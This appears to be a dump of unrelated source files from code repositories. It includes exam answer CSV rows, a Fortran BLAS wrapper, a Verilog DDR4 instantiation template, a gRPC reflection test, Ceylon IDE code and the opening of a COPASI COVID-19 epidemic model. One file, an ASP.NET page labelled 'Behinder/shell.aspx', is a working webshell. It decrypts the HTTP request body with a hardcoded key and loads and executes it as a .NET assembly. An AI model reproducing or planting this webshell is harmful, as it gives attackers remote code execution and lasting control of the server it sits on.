002977,B,E,B,C,D,A,E,B,E,A,D,B,C,D,A,C,E,C,C,B,D,B,C,D,B,D,C,D,D,A,A,D,E,C,B,E,D,D,A,C,A,D,D,E,B,C,A,E,C,A,B,D,B,D,C,B,B,A,A,E,C,B,B,D,B,B,E,D,C,E,B,C,D,A,B,B,A,E,A,E,D,B,B,B,A,B,B,C,D,B,D,B,D,A,E,D,E,B,C,B,A
002958,B,D,B,E,D,D,D,E,D,D,B,A,D,D,E,D,C,D,A,A,E,A,C,B,C,A,C,A,D,A,D,E,A,C,B,C,D,B,A,B,C,C,A,C,A,B,A,B,D,D,B,A,D,C,E,B,E,A,B,E,A,D,C,E,A,D,A,A,E,E,A,D,C,D,C,C,B,C,D,C,E,B,A,B,D,D,E,C,D,D,A,C,A,A,B,B,A,C,B,C,C
002971,A,E,C,A,,D,A,E,A,E,B,A,C,D,D,C,A,E,A,B,D,C,,B,D,A,C,B,D,A,A,B,C,D,D,C,A,B,C,B,C,E,C,C,B,C,D,D,A,C,C,E,D,C,E,D,E,A,C,D,B,C,E,B,D,C,B,E,E,A,C,A,D,D,A,E,B,E,D,A,D,,C,,C,D,D,B,E,D,E,E,B,C,E,A,D,D,B,A,C
002946,B,D,D,B,A,,,,C,,,,,,,,B,D,,,,,,B,,A,C,A,D,A,C,C,C,D,C,A,D,B,C,D,C,C,B,C,B,B,D,E,A,D,C,,,,,,,,,,,,,E,B,D,A,B,A,E,C,E,A,,B,,,D,D,A,,,,,A,,,B,E,D,,,,,,,,,,,
002955,C,D,E,C,E,D,A,B,A,E,C,C,B,A,B,E,C,D,A,A,A,C,C,E,E,A,E,A,D,B,B,A,C,D,D,A,A,C,C,B,C,C,A,C,B,A,D,B,A,D,C,B,C,A,C,D,D,D,B,A,A,D,C,D,B,D,B,A,A,A,E,D,C,E,D,C,B,A,D,C,E,B,D,E,A,D,D,D,E,D,A,C,B,D,C,A,A,D,B,A,D
002951,B,D,D,E,,,,,,,,,,D,A,,,,D,,,B,,,,,E,A,B,A,B,B,A,D,C,E,C,C,A,B,C,C,A,E,B,C,D,C,A,A,C,,,,,,,,,E,,,,,,D,B,B,A,E,A,E,A,D,A,C,E,D,A,C,E,B,D,A,B,D,B,D,D,,,,,,,,,,,,
002965,B,E,D,,C,,A,,D,A,,,,,,,,,C,,,,,B,,,E,B,D,B,A,E,A,D,B,D,C,D,A,D,C,C,D,C,B,A,D,D,A,A,B,,,,,,,,,,,,,,,D,A,C,E,A,E,D,C,E,D,,B,E,C,C,B,A,C,C,D,D,C,B,C,,,,,,,,,,,,
002947,A,E,B,C,B,A,B,E,A,E,E,D,D,B,B,C,B,B,B,C,D,B,C,B,C,C,C,E,B,B,C,D,C,A,E,D,A,E,B,B,C,B,C,D,B,A,B,C,E,D,C,A,E,E,C,B,A,D,C,B,D,B,D,A,E,C,A,E,E,D,B,E,B,D,B,D,A,E,E,E,D,D,C,E,D,C,A,D,C,D,E,A,D,E,B,C,E,C,A,D,B
002964,A,E,E,B,B,A,D,C,,A,,C,A,C,B,A,D,A,B,C,B,A,C,B,C,A,E,C,D,D,B,D,B,B,B,A,A,C,A,B,B,C,B,D,B,C,B,C,B,A,B,C,C,B,E,B,,B,B,A,A,,,E,B,C,B,A,E,D,C,A,D,D,B,C,B,C,C,A,C,D,A,E,A,D,,D,E,,A,D,,E,C,B,A,A,B,E,E
| IDL | 1 | plandauro/admision | storage/calificacionsimulacro/2019-IIresuestasimulacroPE03.dlm | [
"MIT"
] |
c sdotsub.f
c
c The program is a fortran wrapper for sdot.
c Witten by Keita Teranishi. 2/11/1998
c
subroutine sdotsub(n,x,incx,y,incy,dot)
c
external sdot
real sdot
integer n,incx,incy
real x(*),y(*),dot
c
dot=sdot(n,x,incx,y,incy)
return
end
| FORTRAN | 3 | yatonon/dlib-face | dlib/external/cblas/sdotsub.f | [
"BSL-1.0"
] |
//
// DoraemonFileSyncPlugin.h
// DoraemonKit
//
// Created by didi on 2020/6/10.
//
#import <Foundation/Foundation.h>
#import "DoraemonPluginProtocol.h"
NS_ASSUME_NONNULL_BEGIN
@interface DoraemonFileSyncPlugin : NSObject<DoraemonPluginProtocol>
@end
NS_ASSUME_NONNULL_END
| C | 3 | didichuxing/DoraemonKit | iOS/DoraemonKit/Src/Core/Plugin/Platform/FileSync/DoraemonFileSyncPlugin.h | [
"Apache-2.0"
] |
@font-face {
font-family: 'Some Font';
src: url('../fonts/some-font.eot?#iefix') format('embedded-opentype'), url('../fonts/some-font.woff2') format('woff2'), url('../fonts/some-font.woff') format('woff'), url('../fonts/some-font.ttf') format('truetype'), url('../fonts/some-font.svg#glyphicons_halflingsregular') format('svg');
}
| CSS | 2 | bkucera2/cypress | packages/driver/cypress/fixtures/nested/with_paths.css | [
"MIT"
] |
/********************************************************************************
* Copyright (c) {date} Red Hat Inc. and/or its affiliates and others
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* http://www.apache.org/licenses/LICENSE-2.0
*
* SPDX-License-Identifier: Apache-2.0
********************************************************************************/
import com.intellij.psi {
PsiElement
}
import com.intellij.usages.impl.rules {
UsageTypeProvider,
UsageType
}
import org.eclipse.ceylon.ide.intellij.psi {
CeylonPsi {
...
}
}
shared class CeylonUsageTypeProvider() satisfies UsageTypeProvider {
value functionInvocation = UsageType("Function invocation");
value evaluationOrFunctionReference = UsageType("Evaluation or function reference");
value valueOrFunctionTypeDeclaration = UsageType("Value or function declaration");
value aliasedType = UsageType("Aliased type");
value meta = UsageType("Metamodel usage");
shared actual UsageType? getUsageType(PsiElement el) {
if (el.parent is ImportMemberOrTypePsi) {
return UsageType.classImport;
}
if (el.parent.parent is TypeLiteralPsi
||el.parent is MemberLiteralPsi) {
return meta;
}
if (el.parent is SimpleTypePsi) {
variable PsiElement type = el.parent;
while (is TypePsi parent = type.parent) {
type = parent;
}
if (type.parent.parent is ParameterDeclarationPsi) {
return UsageType.classMethodParameterDeclaration;
}
else if (type.parent is TypedDeclarationPsi) {
return valueOrFunctionTypeDeclaration;
}
else if (type.parent is ExtendedTypePsi|SatisfiedTypesPsi) {
return UsageType.classExtendsImplementsList;
}
else if (type.parent is TypeArgumentListPsi) {
return UsageType.typeParameter;
}
else if (type.parent is TypeSpecifierPsi|ClassSpecifierPsi) {
return aliasedType;
}
else if (type.parent is IsConditionPsi|IsCasePsi|IsOpPsi) {
return UsageType.classInstanceOf;
}
}
if (el.parent is StaticMemberOrTypeExpressionPsi) {
value ref = el.parent;
if (ref.parent is AnnotationPsi) {
return UsageType.annotation;
}
else if (ref.parent is InvocationExpressionPsi) {
return ref is BaseTypeExpressionPsi
| QualifiedTypeExpressionPsi
then UsageType.classNewOperator
else functionInvocation;
}
else {
return evaluationOrFunctionReference;
}
}
return null;
}
}
| Ceylon | 4 | Kopilov/ceylon-ide-intellij | source/org/eclipse/ceylon/ide/intellij/resolve/CeylonUsageTypeProvider.ceylon | [
"Apache-2.0"
] |
DROP FUNCTION IF EXISTS hdb_catalog.insert_event_log(text, text, text, text, json); | SQL | 1 | gh-oss-contributor/graphql-engine-1 | server/src-rsr/migrations/15_to_14.sql | [
"Apache-2.0",
"MIT"
] |
// (c) Copyright 1995-2017 Xilinx, Inc. All rights reserved.
//
// This file contains confidential and proprietary information
// of Xilinx, Inc. and is protected under U.S. and
// international copyright and other intellectual property
// laws.
//
// DISCLAIMER
// This disclaimer is not a license and does not grant any
// rights to the materials distributed herewith. Except as
// otherwise provided in a valid license issued to you by
// Xilinx, and to the maximum extent permitted by applicable
// law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
// WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
// AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
// BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
// INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
// (2) Xilinx shall not be liable (whether in contract or tort,
// including negligence, or under any other theory of
// liability) for any loss or damage of any kind or nature
// related to, arising under or in connection with these
// materials, including for any direct, or any indirect,
// special, incidental, or consequential loss or damage
// (including loss of data, profits, goodwill, or any type of
// loss or damage suffered as a result of any action brought
// by a third party) even if such damage or loss was
// reasonably foreseeable or Xilinx had been advised of the
// possibility of the same.
//
// CRITICAL APPLICATIONS
// Xilinx products are not designed or intended to be fail-
// safe, or for use in any application requiring fail-safe
// performance, such as life-support or safety devices or
// systems, Class III medical devices, nuclear facilities,
// applications related to the deployment of airbags, or any
// other applications that could lead to death, personal
// injury, or severe property or environmental damage
// (individually and collectively, "Critical
// Applications"). Customer assumes the sole risk and
// liability of any use of Xilinx products in Critical
// Applications, subject only to applicable laws and
// regulations governing limitations on product liability.
//
// THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
// PART OF THIS FILE AT ALL TIMES.
//
// DO NOT MODIFY THIS FILE.
// IP VLNV: xilinx.com:ip:ddr4:2.2
// IP Revision: 0
// The following must be inserted into your Verilog file for this
// core to be instantiated. Change the instance name and port connections
// (in parentheses) to your own signal names.
//----------- Begin Cut here for INSTANTIATION Template ---// INST_TAG
ddr4_core your_instance_name (
.c0_init_calib_complete(c0_init_calib_complete), // output wire c0_init_calib_complete
.dbg_clk(dbg_clk), // output wire dbg_clk
.c0_sys_clk_p(c0_sys_clk_p), // input wire c0_sys_clk_p
.c0_sys_clk_n(c0_sys_clk_n), // input wire c0_sys_clk_n
.dbg_bus(dbg_bus), // output wire [511 : 0] dbg_bus
.c0_ddr4_adr(c0_ddr4_adr), // output wire [16 : 0] c0_ddr4_adr
.c0_ddr4_ba(c0_ddr4_ba), // output wire [1 : 0] c0_ddr4_ba
.c0_ddr4_cke(c0_ddr4_cke), // output wire [0 : 0] c0_ddr4_cke
.c0_ddr4_cs_n(c0_ddr4_cs_n), // output wire [0 : 0] c0_ddr4_cs_n
.c0_ddr4_dq(c0_ddr4_dq), // inout wire [71 : 0] c0_ddr4_dq
.c0_ddr4_dqs_c(c0_ddr4_dqs_c), // inout wire [17 : 0] c0_ddr4_dqs_c
.c0_ddr4_dqs_t(c0_ddr4_dqs_t), // inout wire [17 : 0] c0_ddr4_dqs_t
.c0_ddr4_odt(c0_ddr4_odt), // output wire [0 : 0] c0_ddr4_odt
.c0_ddr4_parity(c0_ddr4_parity), // output wire c0_ddr4_parity
.c0_ddr4_bg(c0_ddr4_bg), // output wire [1 : 0] c0_ddr4_bg
.c0_ddr4_reset_n(c0_ddr4_reset_n), // output wire c0_ddr4_reset_n
.c0_ddr4_act_n(c0_ddr4_act_n), // output wire c0_ddr4_act_n
.c0_ddr4_ck_c(c0_ddr4_ck_c), // output wire [0 : 0] c0_ddr4_ck_c
.c0_ddr4_ck_t(c0_ddr4_ck_t), // output wire [0 : 0] c0_ddr4_ck_t
.c0_ddr4_ui_clk(c0_ddr4_ui_clk), // output wire c0_ddr4_ui_clk
.c0_ddr4_ui_clk_sync_rst(c0_ddr4_ui_clk_sync_rst), // output wire c0_ddr4_ui_clk_sync_rst
.c0_ddr4_app_sref_req(c0_ddr4_app_sref_req), // input wire c0_ddr4_app_sref_req
.c0_ddr4_app_sref_ack(c0_ddr4_app_sref_ack), // output wire c0_ddr4_app_sref_ack
.c0_ddr4_app_restore_en(c0_ddr4_app_restore_en), // input wire c0_ddr4_app_restore_en
.c0_ddr4_app_restore_complete(c0_ddr4_app_restore_complete), // input wire c0_ddr4_app_restore_complete
.c0_ddr4_app_mem_init_skip(c0_ddr4_app_mem_init_skip), // input wire c0_ddr4_app_mem_init_skip
.c0_ddr4_app_xsdb_select(c0_ddr4_app_xsdb_select), // input wire c0_ddr4_app_xsdb_select
.c0_ddr4_app_xsdb_rd_en(c0_ddr4_app_xsdb_rd_en), // input wire c0_ddr4_app_xsdb_rd_en
.c0_ddr4_app_xsdb_wr_en(c0_ddr4_app_xsdb_wr_en), // input wire c0_ddr4_app_xsdb_wr_en
.c0_ddr4_app_xsdb_addr(c0_ddr4_app_xsdb_addr), // input wire [15 : 0] c0_ddr4_app_xsdb_addr
.c0_ddr4_app_xsdb_wr_data(c0_ddr4_app_xsdb_wr_data), // input wire [8 : 0] c0_ddr4_app_xsdb_wr_data
.c0_ddr4_app_xsdb_rd_data(c0_ddr4_app_xsdb_rd_data), // output wire [8 : 0] c0_ddr4_app_xsdb_rd_data
.c0_ddr4_app_xsdb_rdy(c0_ddr4_app_xsdb_rdy), // output wire c0_ddr4_app_xsdb_rdy
.c0_ddr4_app_dbg_out(c0_ddr4_app_dbg_out), // output wire [31 : 0] c0_ddr4_app_dbg_out
.c0_ddr4_aresetn(c0_ddr4_aresetn), // input wire c0_ddr4_aresetn
.c0_ddr4_s_axi_ctrl_awvalid(c0_ddr4_s_axi_ctrl_awvalid), // input wire c0_ddr4_s_axi_ctrl_awvalid
.c0_ddr4_s_axi_ctrl_awready(c0_ddr4_s_axi_ctrl_awready), // output wire c0_ddr4_s_axi_ctrl_awready
.c0_ddr4_s_axi_ctrl_awaddr(c0_ddr4_s_axi_ctrl_awaddr), // input wire [31 : 0] c0_ddr4_s_axi_ctrl_awaddr
.c0_ddr4_s_axi_ctrl_wvalid(c0_ddr4_s_axi_ctrl_wvalid), // input wire c0_ddr4_s_axi_ctrl_wvalid
.c0_ddr4_s_axi_ctrl_wready(c0_ddr4_s_axi_ctrl_wready), // output wire c0_ddr4_s_axi_ctrl_wready
.c0_ddr4_s_axi_ctrl_wdata(c0_ddr4_s_axi_ctrl_wdata), // input wire [31 : 0] c0_ddr4_s_axi_ctrl_wdata
.c0_ddr4_s_axi_ctrl_bvalid(c0_ddr4_s_axi_ctrl_bvalid), // output wire c0_ddr4_s_axi_ctrl_bvalid
.c0_ddr4_s_axi_ctrl_bready(c0_ddr4_s_axi_ctrl_bready), // input wire c0_ddr4_s_axi_ctrl_bready
.c0_ddr4_s_axi_ctrl_bresp(c0_ddr4_s_axi_ctrl_bresp), // output wire [1 : 0] c0_ddr4_s_axi_ctrl_bresp
.c0_ddr4_s_axi_ctrl_arvalid(c0_ddr4_s_axi_ctrl_arvalid), // input wire c0_ddr4_s_axi_ctrl_arvalid
.c0_ddr4_s_axi_ctrl_arready(c0_ddr4_s_axi_ctrl_arready), // output wire c0_ddr4_s_axi_ctrl_arready
.c0_ddr4_s_axi_ctrl_araddr(c0_ddr4_s_axi_ctrl_araddr), // input wire [31 : 0] c0_ddr4_s_axi_ctrl_araddr
.c0_ddr4_s_axi_ctrl_rvalid(c0_ddr4_s_axi_ctrl_rvalid), // output wire c0_ddr4_s_axi_ctrl_rvalid
.c0_ddr4_s_axi_ctrl_rready(c0_ddr4_s_axi_ctrl_rready), // input wire c0_ddr4_s_axi_ctrl_rready
.c0_ddr4_s_axi_ctrl_rdata(c0_ddr4_s_axi_ctrl_rdata), // output wire [31 : 0] c0_ddr4_s_axi_ctrl_rdata
.c0_ddr4_s_axi_ctrl_rresp(c0_ddr4_s_axi_ctrl_rresp), // output wire [1 : 0] c0_ddr4_s_axi_ctrl_rresp
.c0_ddr4_interrupt(c0_ddr4_interrupt), // output wire c0_ddr4_interrupt
.c0_ddr4_s_axi_awid(c0_ddr4_s_axi_awid), // input wire [15 : 0] c0_ddr4_s_axi_awid
.c0_ddr4_s_axi_awaddr(c0_ddr4_s_axi_awaddr), // input wire [33 : 0] c0_ddr4_s_axi_awaddr
.c0_ddr4_s_axi_awlen(c0_ddr4_s_axi_awlen), // input wire [7 : 0] c0_ddr4_s_axi_awlen
.c0_ddr4_s_axi_awsize(c0_ddr4_s_axi_awsize), // input wire [2 : 0] c0_ddr4_s_axi_awsize
.c0_ddr4_s_axi_awburst(c0_ddr4_s_axi_awburst), // input wire [1 : 0] c0_ddr4_s_axi_awburst
.c0_ddr4_s_axi_awlock(c0_ddr4_s_axi_awlock), // input wire [0 : 0] c0_ddr4_s_axi_awlock
.c0_ddr4_s_axi_awcache(c0_ddr4_s_axi_awcache), // input wire [3 : 0] c0_ddr4_s_axi_awcache
.c0_ddr4_s_axi_awprot(c0_ddr4_s_axi_awprot), // input wire [2 : 0] c0_ddr4_s_axi_awprot
.c0_ddr4_s_axi_awqos(c0_ddr4_s_axi_awqos), // input wire [3 : 0] c0_ddr4_s_axi_awqos
.c0_ddr4_s_axi_awvalid(c0_ddr4_s_axi_awvalid), // input wire c0_ddr4_s_axi_awvalid
.c0_ddr4_s_axi_awready(c0_ddr4_s_axi_awready), // output wire c0_ddr4_s_axi_awready
.c0_ddr4_s_axi_wdata(c0_ddr4_s_axi_wdata), // input wire [511 : 0] c0_ddr4_s_axi_wdata
.c0_ddr4_s_axi_wstrb(c0_ddr4_s_axi_wstrb), // input wire [63 : 0] c0_ddr4_s_axi_wstrb
.c0_ddr4_s_axi_wlast(c0_ddr4_s_axi_wlast), // input wire c0_ddr4_s_axi_wlast
.c0_ddr4_s_axi_wvalid(c0_ddr4_s_axi_wvalid), // input wire c0_ddr4_s_axi_wvalid
.c0_ddr4_s_axi_wready(c0_ddr4_s_axi_wready), // output wire c0_ddr4_s_axi_wready
.c0_ddr4_s_axi_bready(c0_ddr4_s_axi_bready), // input wire c0_ddr4_s_axi_bready
.c0_ddr4_s_axi_bid(c0_ddr4_s_axi_bid), // output wire [15 : 0] c0_ddr4_s_axi_bid
.c0_ddr4_s_axi_bresp(c0_ddr4_s_axi_bresp), // output wire [1 : 0] c0_ddr4_s_axi_bresp
.c0_ddr4_s_axi_bvalid(c0_ddr4_s_axi_bvalid), // output wire c0_ddr4_s_axi_bvalid
.c0_ddr4_s_axi_arid(c0_ddr4_s_axi_arid), // input wire [15 : 0] c0_ddr4_s_axi_arid
.c0_ddr4_s_axi_araddr(c0_ddr4_s_axi_araddr), // input wire [33 : 0] c0_ddr4_s_axi_araddr
.c0_ddr4_s_axi_arlen(c0_ddr4_s_axi_arlen), // input wire [7 : 0] c0_ddr4_s_axi_arlen
.c0_ddr4_s_axi_arsize(c0_ddr4_s_axi_arsize), // input wire [2 : 0] c0_ddr4_s_axi_arsize
.c0_ddr4_s_axi_arburst(c0_ddr4_s_axi_arburst), // input wire [1 : 0] c0_ddr4_s_axi_arburst
.c0_ddr4_s_axi_arlock(c0_ddr4_s_axi_arlock), // input wire [0 : 0] c0_ddr4_s_axi_arlock
.c0_ddr4_s_axi_arcache(c0_ddr4_s_axi_arcache), // input wire [3 : 0] c0_ddr4_s_axi_arcache
.c0_ddr4_s_axi_arprot(c0_ddr4_s_axi_arprot), // input wire [2 : 0] c0_ddr4_s_axi_arprot
.c0_ddr4_s_axi_arqos(c0_ddr4_s_axi_arqos), // input wire [3 : 0] c0_ddr4_s_axi_arqos
.c0_ddr4_s_axi_arvalid(c0_ddr4_s_axi_arvalid), // input wire c0_ddr4_s_axi_arvalid
.c0_ddr4_s_axi_arready(c0_ddr4_s_axi_arready), // output wire c0_ddr4_s_axi_arready
.c0_ddr4_s_axi_rready(c0_ddr4_s_axi_rready), // input wire c0_ddr4_s_axi_rready
.c0_ddr4_s_axi_rlast(c0_ddr4_s_axi_rlast), // output wire c0_ddr4_s_axi_rlast
.c0_ddr4_s_axi_rvalid(c0_ddr4_s_axi_rvalid), // output wire c0_ddr4_s_axi_rvalid
.c0_ddr4_s_axi_rresp(c0_ddr4_s_axi_rresp), // output wire [1 : 0] c0_ddr4_s_axi_rresp
.c0_ddr4_s_axi_rid(c0_ddr4_s_axi_rid), // output wire [15 : 0] c0_ddr4_s_axi_rid
.c0_ddr4_s_axi_rdata(c0_ddr4_s_axi_rdata), // output wire [511 : 0] c0_ddr4_s_axi_rdata
.sys_rst(sys_rst) // input wire sys_rst
);
// INST_TAG_END ------ End INSTANTIATION Template ---------
// You must compile the wrapper file ddr4_core.v when simulating
// the core, ddr4_core. When compiling the wrapper file, be sure to
// reference the Verilog simulation library.
| Verilog | 4 | keegangriffee/fpga | hdk/common/shell_v071417d3/design/ip/ddr4_core/ddr4_core.veo | [
"Apache-2.0"
] |
/*
*
* Copyright 2016 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <gtest/gtest.h>
#include "absl/memory/memory.h"
#include <grpc/grpc.h>
#include <grpcpp/channel.h>
#include <grpcpp/client_context.h>
#include <grpcpp/create_channel.h>
#include <grpcpp/ext/proto_server_reflection_plugin.h>
#include <grpcpp/security/credentials.h>
#include <grpcpp/security/server_credentials.h>
#include <grpcpp/server.h>
#include <grpcpp/server_builder.h>
#include <grpcpp/server_context.h>
#include "src/proto/grpc/testing/echo.grpc.pb.h"
#include "test/core/util/port.h"
#include "test/core/util/test_config.h"
#include "test/cpp/end2end/test_service_impl.h"
#include "test/cpp/util/proto_reflection_descriptor_database.h"
namespace grpc {
namespace testing {
class ProtoServerReflectionTest : public ::testing::Test {
public:
ProtoServerReflectionTest() {}
void SetUp() override {
port_ = grpc_pick_unused_port_or_die();
ref_desc_pool_ = protobuf::DescriptorPool::generated_pool();
ServerBuilder builder;
std::string server_address = "localhost:" + to_string(port_);
builder.AddListeningPort(server_address, InsecureServerCredentials());
server_ = builder.BuildAndStart();
}
void ResetStub() {
string target = "dns:localhost:" + to_string(port_);
std::shared_ptr<Channel> channel =
grpc::CreateChannel(target, InsecureChannelCredentials());
stub_ = grpc::testing::EchoTestService::NewStub(channel);
desc_db_ = absl::make_unique<ProtoReflectionDescriptorDatabase>(channel);
desc_pool_ = absl::make_unique<protobuf::DescriptorPool>(desc_db_.get());
}
string to_string(const int number) {
std::stringstream strs;
strs << number;
return strs.str();
}
void CompareService(const std::string& service) {
const protobuf::ServiceDescriptor* service_desc =
desc_pool_->FindServiceByName(service);
const protobuf::ServiceDescriptor* ref_service_desc =
ref_desc_pool_->FindServiceByName(service);
EXPECT_TRUE(service_desc != nullptr);
EXPECT_TRUE(ref_service_desc != nullptr);
EXPECT_EQ(service_desc->DebugString(), ref_service_desc->DebugString());
const protobuf::FileDescriptor* file_desc = service_desc->file();
if (known_files_.find(file_desc->package() + "/" + file_desc->name()) !=
known_files_.end()) {
EXPECT_EQ(file_desc->DebugString(),
ref_service_desc->file()->DebugString());
known_files_.insert(file_desc->package() + "/" + file_desc->name());
}
for (int i = 0; i < service_desc->method_count(); ++i) {
CompareMethod(service_desc->method(i)->full_name());
}
}
void CompareMethod(const std::string& method) {
const protobuf::MethodDescriptor* method_desc =
desc_pool_->FindMethodByName(method);
const protobuf::MethodDescriptor* ref_method_desc =
ref_desc_pool_->FindMethodByName(method);
EXPECT_TRUE(method_desc != nullptr);
EXPECT_TRUE(ref_method_desc != nullptr);
EXPECT_EQ(method_desc->DebugString(), ref_method_desc->DebugString());
CompareType(method_desc->input_type()->full_name());
CompareType(method_desc->output_type()->full_name());
}
void CompareType(const std::string& type) {
if (known_types_.find(type) != known_types_.end()) {
return;
}
const protobuf::Descriptor* desc = desc_pool_->FindMessageTypeByName(type);
const protobuf::Descriptor* ref_desc =
ref_desc_pool_->FindMessageTypeByName(type);
EXPECT_TRUE(desc != nullptr);
EXPECT_TRUE(ref_desc != nullptr);
EXPECT_EQ(desc->DebugString(), ref_desc->DebugString());
}
protected:
std::unique_ptr<Server> server_;
std::unique_ptr<grpc::testing::EchoTestService::Stub> stub_;
std::unique_ptr<ProtoReflectionDescriptorDatabase> desc_db_;
std::unique_ptr<protobuf::DescriptorPool> desc_pool_;
std::unordered_set<string> known_files_;
std::unordered_set<string> known_types_;
const protobuf::DescriptorPool* ref_desc_pool_;
int port_;
reflection::ProtoServerReflectionPlugin plugin_;
};
TEST_F(ProtoServerReflectionTest, CheckResponseWithLocalDescriptorPool) {
ResetStub();
std::vector<std::string> services;
desc_db_->GetServices(&services);
// The service list has at least one service (reflection servcie).
EXPECT_TRUE(!services.empty());
for (auto it = services.begin(); it != services.end(); ++it) {
CompareService(*it);
}
}
} // namespace testing
} // namespace grpc
int main(int argc, char** argv) {
grpc::testing::TestEnvironment env(argc, argv);
::testing::InitGoogleTest(&argc, argv);
return RUN_ALL_TESTS();
}
| C++ | 4 | goodarzysepideh/grpc | test/cpp/end2end/proto_server_reflection_test.cc | [
"Apache-2.0"
] |
// Clamps (duh) a number between 2 other numbers.
// Yes, this implementation is faster than a min(max()) clamp, I've profiled it.
#define Clamp(x, min, max) (x <= min ? min : (x >= max ? max : x))
#define CLAMP01(x) Clamp((x), 0, 1)
| DM | 3 | PJB3005/GoonLight-Heist | helpers/math.dm | [
"MIT"
] |
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> | ASP | 0 | laotun-s/webshell | Behinder/shell.aspx | [
"MIT"
] |
<?xml version="1.0" encoding="UTF-8"?>
<!-- generated with COPASI 4.27 (Build 217) (http://www.copasi.org) at 2020-04-28T21:21:25Z -->
<?oxygen RNGSchema="http://www.copasi.org/static/schema/CopasiML.rng" type="xml"?>
<COPASI xmlns="http://www.copasi.org/static/schema" versionMajor="4" versionMinor="27" versionDevel="217" copasiSourcesModified="0">
<ListOfFunctions>
<Function key="Function_13" name="Mass action (irreversible)" type="MassAction" reversible="false">
<MiriamAnnotation>
<rdf:RDF xmlns:CopasiMT="http://www.copasi.org/RDF/MiriamTerms#" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Function_13">
<CopasiMT:is rdf:resource="urn:miriam:obo.sbo:SBO:0000163" />
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
<body xmlns="http://www.w3.org/1999/xhtml">
<b>Mass action rate law for irreversible reactions</b>
<p>
Reaction scheme where the products are created from the reactants and the change of a product quantity is proportional to the product of reactant activities. The reaction scheme does not include any reverse process that creates the reactants from the products. The change of a product quantity is proportional to the quantity of one reactant.
</p>
</body>
</Comment>
<Expression>
k1*PRODUCT<substrate_i>
</Expression>
<ListOfParameterDescriptions>
<ParameterDescription key="FunctionParameter_80" name="k1" order="0" role="constant"/>
<ParameterDescription key="FunctionParameter_81" name="substrate" order="1" role="substrate"/>
</ListOfParameterDescriptions>
</Function>
</ListOfFunctions>
<Model key="Model_0" name="SIDARTHE Hartford Model 3" simulationType="time" timeUnit="d" volumeUnit="1" areaUnit="1" lengthUnit="1" quantityUnit="#" type="deterministic" avogadroConstant="6.0221408570000002e+23">
<MiriamAnnotation>
<rdf:RDF
xmlns:CopasiMT="http://www.copasi.org/RDF/MiriamTerms#"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:vCard="http://www.w3.org/2001/vcard-rdf/3.0#">
<rdf:Description rdf:about="#Model_0">
<dcterms:bibliographicCitation>
<rdf:Description>
<dcterms:description>Giordano, G., Blanchini, F., Bruno, R. et al. Modelling the COVID-19 epidemic and implementation of population-wide interventions in Italy. Nat Med (2020).</dcterms:description>
<CopasiMT:isDescribedBy rdf:resource="urn:miriam:doi:10.1038/s41591-020-0883-7"/>
</rdf:Description>
</dcterms:bibliographicCitation>
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:21:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
<dcterms:creator>
<rdf:Description>
<vCard:EMAIL>[email protected]</vCard:EMAIL>
<vCard:N>
<rdf:Description>
<vCard:Family>Mendes</vCard:Family>
<vCard:Given>Pedro</vCard:Given>
</rdf:Description>
</vCard:N>
<vCard:ORG>
<rdf:Description>
<vCard:Orgname>University of Connecticut</vCard:Orgname>
</rdf:Description>
</vCard:ORG>
</rdf:Description>
</dcterms:creator>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Comment>
<body xmlns="http://www.w3.org/1999/xhtml"><h1>SIDARTHE model of Connecticut COVID-19 epidemic</h1>
<p>This model is an implementation of the model described in a the paper by <a href="https://doi.org/10.1038/s41591-020-0883-7">Giordano et al. doi:10.1038/s41591-020-0883-7</a> calibrated with Connecticut data. </p>
<p>Events/Interventions:</p>
<ul>
<li>Day 0 - March 8, first day with diagnosed > 0.</li>
<li>Day 1- March 9, tests at an average 17.1 per day</li>
<li>Day 8 - March 16, policy of max 50 people gatherings, closed gyms and theaters; restaurants and bars takeout only. This reduces the infection parameters</li>
<li>Day 10 - March 18, tests increase so does parameter theta</li>
<li>Day 15 - March 23, shelter-in-place policy declared. Infection parameters reduce again.</li>
<li>Day 19 - March 27, tests increase so does parameter theta</li>
<li>Day 29 - April 6, tests increase so does parameter theta</li>
<li>Day 74 - May 21, simulate relaxation of infection parameters by 50%</li>
</ul>
<p xmlns:dct="http://purl.org/dc/terms/">
<a rel="license" href="http://creativecommons.org/publicdomain/zero/1.0/">
CC0 license
</a>
<br />
To the extent possible under law,
<a rel="dct:publisher" href="http://www.comp-sys-bio.org">
<span property="dct:title">Pedro Mendes</span></a>
has waived all copyright and related or neighboring rights to
<span property="dct:title">SIDARTHE-CT_Model3.cps</span>.
</p>
</body>
</Comment>
<ListOfCompartments>
<Compartment key="Compartment_1" name="compartment" simulationType="fixed" dimensionality="3" addNoise="false">
<MiriamAnnotation>
